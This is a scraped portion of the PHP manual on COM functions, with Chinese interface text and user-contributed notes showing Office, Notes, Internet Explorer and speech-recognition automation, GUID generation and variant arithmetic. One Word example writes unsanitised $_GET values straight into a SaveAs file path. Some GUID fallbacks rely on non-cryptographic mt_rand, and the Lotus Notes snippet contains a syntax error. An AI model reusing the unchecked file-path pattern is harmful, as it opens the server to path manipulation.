if($i == 0){
echo "<tr>";
}
//then start writing the cells in the row, increase $i by one, and move to the next record
echo "<td>" . $clients->value . "</td>";
$i++;
$rs->movenext();
//once $i increments to equal $columns, end the row,
//and start the process over by setting $i to 0
if($i == $columns || $rs->EOF) {
echo "</tr>";
$i = 0;
    }
}
//end multicolumn data output

//close the ADO connections and release resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null; ?>
</table>
</body>
</html>
tedknightusa at hotmail dot com 26-Sep-2002 09:29
A Notes example:

<?php
$session = new COM "Lotus.NotesSession" );
$session->Initialize($password);

$someDB = "C:\Lotus\Notes\Data\somedb.nsf";
$db = $session->GetDatabase("", $someDB) or die("Cannot get someDB.nsf");
$view = $db->GetView("some_view") or die("Some View not found");

$doc = $view->GetFirstDocument() or die("Unable to get Initial Some Document");

// loop through
while($doc){
  $col_vals = $doc->ColumnValues();
  echo $col_vals[0];
  $doc = $view->GetNextDocument($doc);
}
?>
dwt at myrealbox dot com 27-Aug-2002 03:31
When first writing applications instancing COM objects I always faced the problem of the instanced program not terminating correctly although everything else worked fine. In fact the process had to be killed manually by using the task manager. When experimenting a bit I was able to isolate the cause for this peculiar behaviour to be illustrated by the sample code below:

<?php

//Accessing arrays by retrieving elements via function ArrayName(Index) works, but certainly is neither efficient nor good style
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$book=$excel->Workbooks(1);
$sheet=$book->Worksheets(1);

$sheet->Name="Debug-Test";
$book->saveas("C:\\debug.xls");

$book->Close(false);
unset($sheet);
unset($book);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

//Accessing arrays as usual (using the [] operator) works, buts leads to the application not being able to terminate by itself
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$excel->Workbooks[1]->Worksheets[1]->Name="Debug-Test";
$excel->Workbooks[1]->saveas("C:\\debug.xls");

$excel->Workbooks[1]->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

?>

The sample code performs the same action twice and each time the file is properly created. Yet for some mysterious reason the instanced excel process won't terminate once you've accessed an array the way most programmers (especially those who do a lot of oop in c++) do! Therefore until the PHP developers become aware of this problem we'll have to use the inefficient coding style illustrated in the first example.
madon at cma-it dot com 07-Mar-2002 12:59
I thought this excel chart example could be useful.

Note the use of Excel.application vs Excel.sheet.

<pre>
<?php
    print "Hi";
#Instantiate the spreadsheet component.
#    $ex = new COM("Excel.sheet") or Die ("Did not connect");
$exapp = new COM("Excel.application") or Die ("Did not connect");

#Get the application name and version
print "Application name:{$ex->Application->value}<BR>" ;
print "Loaded version: {$ex->Application->version}<BR>";

$wkb=$exapp->Workbooks->add();
#$wkb = $ex->Application->ActiveWorkbook or Die ("Did not open workbook");
print "we opened workbook<BR>";

$ex->Application->Visible = 1; #Make Excel visible.
print "we made excell visible<BR>";

$sheets = $wkb->Worksheets(1); #Select the sheet
print "selected a sheet<BR>";
$sheets->activate; #Activate it
print "activated sheet<BR>";

#This is a new sheet
$sheets2 = $wkb->Worksheets->add(); #Add a sheet
print "added a new sheet<BR>";
$sheets2->activate; #Activate it
print "activated sheet<BR>";

$sheets2->name="Report Second page";

$sheets->name="Report First page";
print "We set a name to the sheet: $sheets->name<BR>";

# fills a columns
$maxi=20;
for ($i=1;$i<$maxi;$i++) {
    $cell = $sheets->Cells($i,5) ; #Select the cell (Row Column number)
    $cell->activate; #Activate the cell
    $cell->value = $i*$i; #Change it to 15000
}

$ch = $sheets->chartobjects->add(50, 40, 400, 100); # make a chartobject

$chartje = $ch->chart; # place a chart in the chart object
$chartje->activate; #activate chartobject
$chartje->ChartType=63;
$selected = $sheets->range("E1:E$maxi"); # set the data the chart uses
$chartje->setsourcedata($selected); # set the data the chart uses
print "set the data the chart uses <BR>";

$file_name="D:/apache/Apache/htdocs/alm/tmp/final14.xls";
if (file_exists($file_name)) {unlink($file_name);}
#$ex->Application->ActiveWorkbook->SaveAs($file_name); # saves sheet as final.xls
$wkb->SaveAs($file_name); # saves sheet as final.xls
print "saved<BR>";

#$ex->Application->ActiveWorkbook->Close("False");
$exapp->Quit();
unset($exapp);
?>

</pre>

Alex Madon


Generate a globally unique identifier (GUID)

  • ? COM 函数
  • com_event_sink ?
  • PHP Manual
  • COM 函数
  • Generate a globally unique identifier (GUID)

com_create_guid

(PHP 5, PHP 7)

com_create_guid — Generate a globally unique identifier (GUID)

说明

com_create_guid ( void ) : string

Generates a Globally Unique Identifier (GUID).

A GUID is generated in the same way as DCE UUID's, except that the Microsoft convention is to enclose a GUID in curly braces.

返回值

Returns the GUID as a string.

参见

  • uuid_create() in the PECL uuid extension

User Contributed Notes

Dave Pearson (dave at pds-uk dot com) 14-Apr-2016 10:07
Here's my final version of a GUIDv4 function (based on others work here) that should work on all platforms and gracefully fallback to less cryptographically secure version if others are not supported...

<?php
/**
 * Returns a GUIDv4 string
 *
 * Uses the best cryptographically secure method
 * for all supported pltforms with fallback to an older,
 * less secure version.
 *
 * @param bool $trim
 * @return string
 */
function GUIDv4 ($trim = true)
{
    // Windows
    if (function_exists('com_create_guid') === true) {
        if ($trim === true)
            return trim(com_create_guid(), '{}');
        else
            return com_create_guid();
    }

    // OSX/Linux
    if (function_exists('openssl_random_pseudo_bytes') === true) {
        $data = openssl_random_pseudo_bytes(16);
        $data[6] = chr(ord($data[6]) & 0x0f | 0x40);    // set version to 0100
        $data[8] = chr(ord($data[8]) & 0x3f | 0x80);    // set bits 6-7 to 10
        return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
    }

    // Fallback (PHP 4.2+)
    mt_srand((double)microtime() * 10000);
    $charid = strtolower(md5(uniqid(rand(), true)));
    $hyphen = chr(45);                  // "-"
    $lbrace = $trim ? "" : chr(123);    // "{"
    $rbrace = $trim ? "" : chr(125);    // "}"
    $guidv4 = $lbrace.
              substr($charid,  0,  8).$hyphen.
              substr($charid,  8,  4).$hyphen.
              substr($charid, 12,  4).$hyphen.
              substr($charid, 16,  4).$hyphen.
              substr($charid, 20, 12).
              $rbrace;
    return $guidv4;
}
?>
indrora 08-Nov-2015 07:09
If you're going to generate random UUIDs, at least make them conform:

* The uppermost byte of the third stanza must be 4
* the uppermost byte of the fourth stanza may be any of (8 9 a b)

see also: The wikipedia page for UUIDs: https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29
pavel.volyntsev(at)gmail 27-Aug-2015 12:37
Use more cryptographically strong algorithm to generate pseudo-random bytes and format it as GUID v4 string

function guidv4()
{
    if (function_exists('com_create_guid') === true)
        return trim(com_create_guid(), '{}');

    $data = openssl_random_pseudo_bytes(16);
    $data[6] = chr(ord($data[6]) & 0x0f | 0x40); // set version to 0100
    $data[8] = chr(ord($data[8]) & 0x3f | 0x80); // set bits 6-7 to 10
    return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
}
Alix Axel 16-Aug-2010 03:59
The phunction PHP framework (http://sourceforge.net/projects/phunction/) uses the following function to generate valid version 4 UUIDs:

<?php

function GUID()
{
    if (function_exists('com_create_guid') === true)
    {
        return trim(com_create_guid(), '{}');
    }

    return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
}

?>

The output generated by the sprintf() and mt_rand() calls is identical to com_create_guid() results.


Connect events from a COM object to a PHP object

  • ? com_create_guid
  • com_get_active_object ?
  • PHP Manual
  • COM 函数
  • Connect events from a COM object to a PHP object

com_event_sink

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

com_event_sink — Connect events from a COM object to a PHP object

说明

com_event_sink ( variant $comobject , object $sinkobject [, mixed $sinkinterface ] ) : bool

Instructs COM to sink events generated by comobject into the PHP object sinkobject.

Be careful how you use this feature; if you are doing something similar to the example below, then it doesn't really make sense to run it in a web server context.

参数

comobject

sinkobject

sinkobject should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.

sinkinterface

PHP will attempt to use the default dispinterface type specified by the typelibrary associated with comobject, but you may override this choice by setting sinkinterface to the name of the dispinterface that you want to use.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 COM event sink example

<?php
class IEEventSinker {
    var $terminated = false;

   function ProgressChange($progress, $progressmax) {
      echo "Download progress: $progress / $progressmax\n";
    }

    function DocumentComplete(&$dom, $url) {
      echo "Document $url complete\n";
    }

    function OnQuit() {
      echo "Quit!\n";
      $this->terminated = true;
    }
}
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.example.org");
while(!$sink->terminated) {
  com_message_pump(4000);
}
$ie = null;
?>

参见

  • com_print_typeinfo() - Print out a PHP class definition for a dispatchable interface
  • com_message_pump() - Process COM messages, sleeping for up to timeoutms milliseconds

User Contributed Notes

veggie 25-Dec-2016 10:23
I got voice recognition working. I'm not sure why the way I called the sink function made it work but I'm more about results right now. This small example had me rolling on the floor laughing.

<?php
/*
 * Search this for more info on the voice stuff:
 * Automation Interfaces and Objects (SAPI 5.4)
 */

//directions:
//php friend.php
//then fire up windows voice recognition and turn it on and say stuff

$voice = new COM("SAPI.SpVoice");

print "Hit control+c to end.\n";
print "Friend: Hello friend!\n";

$voice->Speak("Hello friend!");

class listen
{

    function Recognition($StreamNumber, $StreamPosition, $RecognitionType, $ISpeechRecoResult)
    {

        $phrase = $ISpeechRecoResult->PhraseInfo;
        $text = $phrase->GetText();

        print "\nYou:$text\n";

        global $voice;
        $say = array('oh', 'nice', 'humm', 'interesting', 'you dont say', 'uh huh', 'right', 'what', 'ha ha', 'you have got to be joking', 'right back at you buddy');
        $idx = rand(0, count($say)-1);

        print "Friend: " . $say[$idx] . "\n";
        $voice->Speak($say[$idx]);

    }

}

$recog = new COM("SAPI.SpSharedRecognizer");

$context = $recog->CreateRecoContext();

//SRERecognition = 16 (default)
//SREAllEvents = 393215
//$context->EventInterests = 393215;

//try to listen to events on context
$listen = new listen(); //event handler
if (!com_event_sink($context, $listen, "RecognizerStateChange"))
{
    print "Unable to sink events\n";
    exit;
}

$grammar = $context->CreateGrammar();

$i = $grammar->DictationLoad();

$s = $grammar->DictationSetState(1); //1=on, 0=off

while(true)
{

    if(!com_message_pump(1000))
    {
        print ".";
    }

}

?>
fjortiz 14-Jul-2005 12:33
In case someone needs a skeleton sink for ADODB.Connection events:

class ADOConnectionEventSink    {

    function BeginTransComplete( $translevel, $objerror, $status, $objconn )    {
        return 0;
    }

    function CommitTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function RolbackTransComplete( $objerror, $status, $objconn )    {
        return 0;
    }

    function WillConnect ( $ConnectionString, $userid, $psword, $options, $status, $objconn )    {
        return 0;
    }

    function ConnectComplete ( $objerror, $status, $objconn)    {
        return 0;
    }

    function Disconnect( $status, $objConn )    {
        return 0;
    }

    function WillExecute ( $src, $cursortyp, $locktyp, $options, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function ExecuteComplete ( $recaffected, $objerror, $status, $objcomm, $objrs, $objconn )    {
        return 0;
    }

    function InfoMessage ( $objerror, $status, $objconn)    {
        return 0;
    }
}

// later on...
$db = new COM("ADODB.Connection", NULL, $charPage);
$sink = new ADOConnectionEventSink();
com_event_sink($db, $sink, "ConnectionEvents");
//...


Returns a handle to an already running instance of a COM object

  • ? com_event_sink
  • com_load_typelib ?
  • PHP Manual
  • COM 函数
  • Returns a handle to an already running instance of a COM object

com_get_active_object

(PHP 5, PHP 7)

com_get_active_object — Returns a handle to an already running instance of a COM object

说明

com_get_active_object ( string $progid [, int $code_page ] ) : variant

com_get_active_object() is similar to creating a new instance of a COM object, except that it will only return an object to your script if the object is already running. OLE applications use something known as the "Running Object Table" to allow well-known applications to be launched only once; this function exposes the COM library function GetActiveObject() to get a handle on a running instance.

参数

progid

progid must be either the ProgID or CLSID for the object that you want to access (for example Word.Application).

code_page

Acts in precisely the same way that it does for the COM class.

返回值

If the requested object is running, it will be returned to your script just like any other COM object.

错误／异常

There are a variety of reasons why this function might fail, the most common being that the object is not already running. In that situation, the exception error code will be MK_E_UNAVAILABLE; you can use the getCode method of the exception object to check the exception code.

注释

Warning

Using com_get_active_object() in a web server context is not always a smart idea. Most COM/OLE applications are not designed to handle more than one client concurrently, even (or especially!) Microsoft Office. You should read » Considerations for Server-Side Automation of Office for more information on the general issues involved.

User Contributed Notes

gerrit at timingteam dot nl 04-Jan-2009 09:25
Please note the next behavior (Apache 2.2.8, W2K, WXP)

If Apache runs as a service, com_get_active_object() always returns MK_E_UNAVAILABLE, even when it is definitely sure that the Running Object Table contains a reference to the required object.

If Apache runs in a console, com_get_active_object()  returns the object handle as required.

This apparently is a Windows issue.


装载一个 Typelib

  • ? com_get_active_object
  • com_message_pump ?
  • PHP Manual
  • COM 函数
  • 装载一个 Typelib

com_load_typelib

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

com_load_typelib — 装载一个 Typelib

说明

com_load_typelib ( string $typelib_name [, bool $case_insensitive = true ] ) : bool

Loads a type-library and registers its constants in the engine, as though they were defined using define().

Note that it is much more efficient to use the configuration setting to pre-load and register the constants, although not so flexible.

If you have turned on , then PHP will attempt to automatically register the constants associated with a COM object when you instantiate it. This depends on the interfaces provided by the COM object itself, and may not always be possible.

参数

typelib_name

typelib_name can be one of the following:

  • The filename of a .tlb file or the executable module that contains the type library.

  • The type library GUID, followed by its version number, for example {00000200-0000-0010-8000-00AA006D2EA4},2,0.

  • The type library name, e.g. Microsoft OLE DB ActiveX Data Objects 1.0 Library.

PHP will attempt to resolve the type library in this order, as the process gets more and more expensive as you progress down the list; searching for the type library by name is handled by physically enumerating the registry until we find a match.

case_insensitive

The case_insensitive behaves in the same way as the parameter with the same name in the define() function.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

tomas dot burba at softneta dot lt 12-Mar-2012 11:38
I had some problems with a third-party Word-controlling code that is somewhat similar to Richard's example. (Word 2007 SP1, XP SP2.) Rewrote some parts according to that example, no luck. Error messages from Word were crazy:

"Bad parameter" -- it didn't like wdGoToBookmark but was ok with its numeric equivalent -1;

"Call to undefined method variant::SaveAs()" -- the same with Save() that was suitable in my case, so no options were remaining.

But then I ran the example via php.exe in the command line, and it worked! Eventually it turned out that Apache service must be run as some real user instead of SYSTEM.
RQuadling at GMail dot com 17-Jun-2008 03:40
Some libraries load other libraries as part of their functionality. For example Crystal Reports Object Factory uses the CreateObject() method to create an instance of a Crystal Design RunTime Application. If you want to use constants defined in the newly loaded library, you will need to manually register the library - even with com.autoregister_typelib set to true.

<?php
echo 'com.autoregister_typelib = ', ini_get('com.autoregister_typelib'), PHP_EOL;

$o_CrObjectFactory = New COM('CrystalReports11.ObjectFactory.1');

$o_CrApplication = $o_CrObjectFactory->CreateObject("CrystalDesignRunTime.Application");

echo 'Will not be defined : ', crOpenReportByDefault, PHP_EOL;

com_load_typelib('CrystalDesignRunTime.Application');

echo 'Will now be defined : ', crOpenReportByDefault, PHP_EOL;
?>

outputs ...

com.autoregister_typelib = 1
Will not be defined :
Notice: Use of undefined constant crOpenReportByDefault - assumed 'crOpenReportByDefault' in C:\refl.php on line 8
crOpenReportByDefault
Will now be defined : 0
03-May-2004 07:18
In case any of you were wondering what com_load_typelib actually DOES, I have found that it loads constants\enums that the COM obeject has defined.  The example below is using the Nero COM object (from Nero Burning rom, version 6+).  The Nero object defines a bunch of constants, but they can not be used as PHP constants unless you use the mentioned function.  So the example below will work just fine:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
com_load_typelib("Nero.Nero");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

But this one will not, since PHP will return a message saying that the constant is undefined:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

This one took me a while to figure out, hope it helps.

Also, check out http://www.php.net/manual/en/faq.com.php to find out how to get COM events working in PHP.
ojpp at webdevfm dot com 30-Jan-2004 06:33
Hello PHP community, I want to help in a problem I found in this COM built-in function: com_load_typelib(), when I executed it in order to open a COM Server process (for example: Word, Excel, etc.) I was in trouble to release the object from memory, I figured it out, this is the solution:

Change a configuration in the php.ini:

; autoregister constants of a components typlib on com_load()
com.autoregister_typelib = true

When com.autoregister_typelib directive is true, PHP parser manage the COM server type library, I hope it helps.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:55
<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.


Process COM messages, sleeping for up to timeoutms milliseconds

  • ? com_load_typelib
  • com_print_typeinfo ?
  • PHP Manual
  • COM 函数
  • Process COM messages, sleeping for up to timeoutms milliseconds

com_message_pump

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

com_message_pump — Process COM messages, sleeping for up to timeoutms milliseconds

说明

com_message_pump ([ int $timeoutms = 0 ] ) : bool

This function will sleep for up to timeoutms milliseconds, or until a message arrives in the queue.

The purpose of this function is to route COM calls between apartments and handle various synchronization issues. This allows your script to wait efficiently for events to be triggered, while still handling other events or running other code in the background. You should use it in a loop, as demonstrated by the example in the com_event_sink() function, until you are finished using event bound COM objects.

参数

timeoutms

The timeout, in milliseconds.

If you do not specify a value for timeoutms, then 0 will be assumed. A 0 value means that no waiting will be performed; if there are messages pending they will be dispatched as before; if there are no messages pending, the function will return FALSE immediately without sleeping.

返回值

If a message or messages arrives before the timeout, they will be dispatched, and the function will return TRUE. If the timeout occurs and no messages were processed, the return value will be FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Print out a PHP class definition for a dispatchable interface

  • ? com_message_pump
  • variant_abs ?
  • PHP Manual
  • COM 函数
  • Print out a PHP class definition for a dispatchable interface

com_print_typeinfo

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

com_print_typeinfo — Print out a PHP class definition for a dispatchable interface

说明

com_print_typeinfo ( object $comobject [, string $dispinterface = NULL [, bool $wantsink = FALSE ]] ) : bool

The purpose of this function is to help generate a skeleton class for use as an event sink. You may also use it to generate a dump of any COM object, provided that it supports enough of the introspection interfaces, and that you know the name of the interface you want to display.

参数

comobject

comobject should be either an instance of a COM object, or be the name of a typelibrary (which will be resolved according to the rules set out in com_load_typelib()).

dispinterface

The name of an IDispatch descendant interface that you want to display.

wantsink

If set to TRUE, the corresponding sink interface will be displayed instead.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • com_event_sink() - Connect events from a COM object to a PHP object
  • com_load_typelib() - 装载一个 Typelib

User Contributed Notes

Richard Lynch 03-Oct-2006 04:51
In my particular version of PHP, the second and third arguments are not, in fact, optional.

Passing in '' for both, however, yielded a bucketful of information.

YMMV
csaba at alum dot mit dot edu 14-Feb-2005 12:49
com_print_typeinfo is really useful if you're trying to figure out what properties and methods you have access to.  For example, I might do:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer);
?>

The first line shows me the class of the object (what VBScript calls 'typename'), in my case IShellDispatch4.  It's frequently the case that if you plunk that in as the second argument to com_print_typeinfo, you get way more methods/properties coming back.  Thus:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer, "IShellDispatch4");
?>

Furthermore, you might get additional functions listed if you try lower number suffixes (or not).  At any rate, it would be useful for PHP to have a typename function like VBScript does.  For example, if you iterate through the Windows of $oExplorer you get both IE and Explorer windows and typename is the easy way to differentiate between them.  Here's what I'm using:

<?php
    function typeName($objCOM) {
    if (empty($objCOM)) return "no COM object";
    if (gettype($objCOM)!="object") return "not a COM object";
    ob_start();
    com_print_typeinfo($objCOM);
    $typeInfo = ob_get_contents();
    ob_end_clean();
    $pattern = "/^\\s*class (.*) \\{/";
    if (!($matchCnt = preg_match($pattern, $typeInfo, $aMatch))) return "Not found";
    return $aMatch[1];
}
?>

Csaba Gabor from Vienna


Returns the absolute value of a variant

  • ? com_print_typeinfo
  • variant_add ?
  • PHP Manual
  • COM 函数
  • Returns the absolute value of a variant

variant_abs

(PHP 5, PHP 7)

variant_abs — Returns the absolute value of a variant

说明

variant_abs ( mixed $val ) : variant

Returns the absolute value of a variant.

参数

val

The variant.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the absolute value of val.

错误／异常

Throws a com_exception on failure.

参见

  • abs() - 绝对值

User Contributed Notes

There are no user contributed notes for this page.


"Adds" two variant values together and returns the result

  • ? variant_abs
  • variant_and ?
  • PHP Manual
  • COM 函数
  • "Adds" two variant values together and returns the result

variant_add

(PHP 5, PHP 7)

variant_add — "Adds" two variant values together and returns the result

说明

variant_add ( mixed $left , mixed $right ) : variant

Adds left to right using the following rules (taken from the MSDN library), which correspond to those of Visual Basic:

Variant Addition Rules
If | Then
Both expressions are of the string type | Concatenation
One expression is a string type and the other a character | Addition
One expression is numeric and the other is a string | Addition
Both expressions are numeric | Addition
Either expression is NULL | NULL is returned
Both expressions are empty | Integer subtype is returned

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result.

错误／异常

Throws a com_exception on failure.

参见

  • variant_sub() - Subtracts the value of the right variant from the left variant value

User Contributed Notes

There are no user contributed notes for this page.


Performs a bitwise AND operation between two variants

  • ? variant_add
  • variant_cast ?
  • PHP Manual
  • COM 函数
  • Performs a bitwise AND operation between two variants

variant_and

(PHP 5, PHP 7)

variant_and — Performs a bitwise AND operation between two variants

说明

variant_and ( mixed $left , mixed $right ) : variant

Performs a bitwise AND operation. Note that this is slightly different from a regular AND operation.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Variant AND Rules
If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | FALSE
TRUE | NULL | NULL
FALSE | TRUE | FALSE
FALSE | FALSE | FALSE
FALSE | NULL | FALSE
NULL | TRUE | NULL
NULL | FALSE | FALSE
NULL | NULL | NULL

错误／异常

Throws a com_exception on failure.

参见

  • variant_or() - Performs a logical disjunction on two variants

User Contributed Notes

There are no user contributed notes for this page.


Convert a variant into a new variant object of another type

  • ? variant_and
  • variant_cat ?
  • PHP Manual
  • COM 函数
  • Convert a variant into a new variant object of another type

variant_cast

(PHP 5, PHP 7)

variant_cast — Convert a variant into a new variant object of another type

说明

variant_cast ( variant $variant , int $type ) : variant

This function makes a copy of variant and then performs a variant cast operation to force the copy to have the type given by type.

This function wraps VariantChangeType() in the COM library; consult MSDN for more information.

参数

variant

The variant.

type

type should be one of the VT_XXX constants.

返回值

Returns a variant of given type.

参见

  • variant_set_type() - Convert a variant into another type "in-place"

User Contributed Notes

There are no user contributed notes for this page.


Concatenates two variant values together and returns the result

  • ? variant_cast
  • variant_cmp ?
  • PHP Manual
  • COM 函数
  • Concatenates two variant values together and returns the result

variant_cat

(PHP 5, PHP 7)

variant_cat — Concatenates two variant values together and returns the result

说明

variant_cat ( mixed $left , mixed $right ) : variant

Concatenates left with right and returns the result.

This function is notionally equivalent to $left . $right.

参数

left

The left operand.

right

The right operand.

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns the result of the concatenation.

错误／异常

Throws a com_exception on failure.

参见

  • 字符串运算符 for the string concatenation operator

User Contributed Notes

There are no user contributed notes for this page.


Compares two variants

  • ? variant_cat
  • variant_date_from_timestamp ?
  • PHP Manual
  • COM 函数
  • Compares two variants

variant_cmp

(PHP 5, PHP 7)

variant_cmp — Compares two variants

说明

variant_cmp ( mixed $left , mixed $right [, int $lcid [, int $flags ]] ) : int

Compares left with right.

This function will only compare scalar values, not arrays or variant records.

参数

left

The left operand.

right

The right operand.

lcid

A valid Locale Identifier to use when comparing strings (this affects string collation).

flags

flags can be one or more of the following values OR'd together, and affects string comparisons:

Variant Comparision Flags
value | meaning
NORM_IGNORECASE | Compare case insensitively
NORM_IGNORENONSPACE | Ignore nonspacing characters
NORM_IGNORESYMBOLS | Ignore symbols
NORM_IGNOREWIDTH | Ignore string width
NORM_IGNOREKANATYPE | Ignore Kana type
NORM_IGNOREKASHIDA | Ignore Arabic kashida characters

Note:

对于所有变量运算函数，本函数的参数可以是 PHP 内置的类型（整数，字符串，浮点数，布尔型或者 NULL），或者是一个 COM，VARIANT 或者 DOTNET 类的实例。PHP 内置类型将会使用和构造VARIANT类相同的规则转换成变量。COM 和 DOTNET 对象的值将会取其默认属性并被当成变量值使用。

变量运算函数是同名函数在 COM 库中的外包；有关此类函数的更多信息参见 MSDN 库。PHP 函数命名有少许区别，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

返回值

Returns one of the following:

Variant Comparision Results
value | meaning
VARCMP_LT | left is less than right
VARCMP_EQ | left is equal to right
VARCMP_GT | left is greater than right
VARCMP_NULL | Either left, right or both are NULL

User Contributed Notes

There are no user contributed notes for this page.


Returns a variant date representation of a Unix timestamp

  • ? variant_cmp
  • variant_date_to_timestamp ?
  • PHP Manual
  • COM 函数
  • Returns a variant date representation of a Unix timestamp

variant_date_from_timestamp

(PHP 5, PHP 7)

variant_date_from_timestamp — Returns a variant date representation of a Unix timestamp

说明

variant_date_from_timestamp ( int $timestamp ) : variant

Converts timestamp from a unix timestamp value into a variant of type VT_DATE. This allows easier interopability between the unix-ish parts of PHP and COM.

参数

timestamp

A unix timestamp.

返回值

Returns a VT_DATE variant.

参见

  • variant_date_to_timestamp() - Converts a variant date/time value to Unix timestamp
  • mktime() - 取得一个日期的 Unix 时间戳
  • time() - 返回当前的 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


Converts a variant date/time value to Unix timestamp

  • ? variant_date_from_timestamp
  • variant_div ?
  • PHP Manual
  • COM 函数
  • Converts a variant date/time value to Unix timestamp

variant_date_to_timestamp

(PHP 5, PHP 7)

variant_date_to_timestamp — Converts a variant date/time value to Unix timestamp

说明

variant_date_to_timestamp ( variant $variant ) : int

Converts variant from a VT_DATE (or similar) value into a Unix timestamp. This allows easier interopability between the Unix-ish parts of PHP and COM.

参数

variant

The variant.

返回值

Returns a unix timestamp.

参见

  • variant_date_from_timestamp() - Returns a variant date representation of a Unix timestamp
  • date() - 格式化一个本地时间／日期
  • strftime() - 根据区域设置格式化本地时间／日期

User Contributed Notes

radek at tetik dot cz 25-Dec-2015 03:21
variant_date_to_timestamp() assumes the COM date in the current Windows time zone and converts it to the current PHP time zone


Returns the result from dividing two variants

  • ? variant_date_to_timestamp
  • variant_eqv ?
  • PHP Manual
  • COM 函数
  • Returns the result from dividing two variants

variant_div

(PHP 5, PHP 7)

variant_div — Returns the result from dividing two variants

说明

variant_div ( mixed $left , mixed $right ) : variant

Divides left by right and returns the result.

参数

left

The left operand.

right

The right operand.

Note:

